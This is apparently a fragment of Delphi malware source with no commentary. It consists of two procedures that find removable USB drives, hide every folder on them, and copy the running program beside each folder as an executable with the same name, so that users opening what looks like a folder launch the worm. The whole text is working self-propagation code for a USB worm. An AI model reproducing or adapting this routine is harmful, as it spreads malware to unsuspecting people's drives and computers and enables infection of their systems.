procedure InfectUsb;  
var  
     DiskType,ifind : integer;  
     Drives : set of 0..25;  
     Drv : char;  
begin  
     try  
     Integer(Drives):=GetLogicalDrives;  
     for ifind:=0 to 25 do  
     if (ifind in Drives) then  
      begin  
      Drv:=Char(ifind+Ord('A'));  
      DiskType:=GetDriveType(PChar(Drv+':\'));  
      if (DiskType = DRIVE_REMOVABLE)  then  
      begin  
      InfectDir(PChar(Drv+':\'));  
      end;  
     end  
     except  
     exit;  
     end;  
end;

procedure InfectDir(Root: String);  
var  
      F: TSearchRec;  
      i: Integer;  
      h: THandle;  
      L: TStringList;  
begin  
      L:=TStringList.Create;  
      L.Clear;  
      L.Add(Root);  
      i := 0;  
      while i < L.Count do begin  
        Root := IncludeTrailingBackslash(L.Strings[i]);  
        h := FindFirst(Root + '*.*', faAnyFile, F);  
        while h = 0 do begin  
          if (F.Attr and faDirectory) = faDirectory then begin  
            if (F.Name <> '.') and (F.Name <> '..') then begin  
              L.Add(Root + F.Name);  
              SetFileAttributes(PChar(Root+F.Name),faHidden);  
              CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);  
              SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);  
            end;  
          end;  
          h :=FindNext(F);  
        end;  
        FindClose(F);  
        Inc(i);  
      end;  
      L.Free;  
end;